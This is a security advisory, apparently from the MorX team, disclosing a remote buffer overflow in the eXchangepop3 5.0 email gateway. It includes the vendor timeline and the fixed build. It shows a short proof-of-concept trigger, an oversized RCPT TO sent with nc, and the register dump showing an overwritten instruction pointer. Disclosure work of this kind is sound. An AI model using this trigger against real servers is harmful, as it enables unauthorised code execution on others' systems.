Author: securma massine <securma (at) morx (dot) org [email concealed]> MorX Security Research Team http://www.morx.org Product info : EXchangepop3 is an email gateway (connector) that retrieves messages from Internet POP3 email accounts and delivers them to Exchange Server. Vulnerability Description: eXchangepop3 is vulnerable to buffer overflow attack. boundary errors in the handling of the RCPT TO (smtp) commands by sending a large buffer, allow remote users to set a new Instruction Pointer to execute arbitrary code and gain access on system. C:>nc 127.0.0.1 25 220 aaa ESMTP mail [enter] 250 OK rcpt to:<AAAAAA....("A"x4112) we have : eax=00000001 ebx=007334e0 ecx=41414141 edx=7c91eb94 esi=00455a38 edi=0f010001 eip=41414141 esp=0221f750 ebp=00000001 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 41414141 ?? ??? Affected Software(s): Exchangepop3 v 5.0 (build 050203) Affected platform(s): Windows Exploit/Proof of Concept: http://www.morx.org/expl5.txt Solution : The vendor has released a new build fixing the problem : The build number is 060125. http://www.exchangepop3.com/ History: 14/01/2006 initial vendor contact 16/01/2006 vendor received details about the vulnerabilty 02/02/2006 vendor released the fixed build Disclaimer: this entire document is for eductional, testing and demonstrating purpose only. Greets: Greets to undisputed and all MorX members.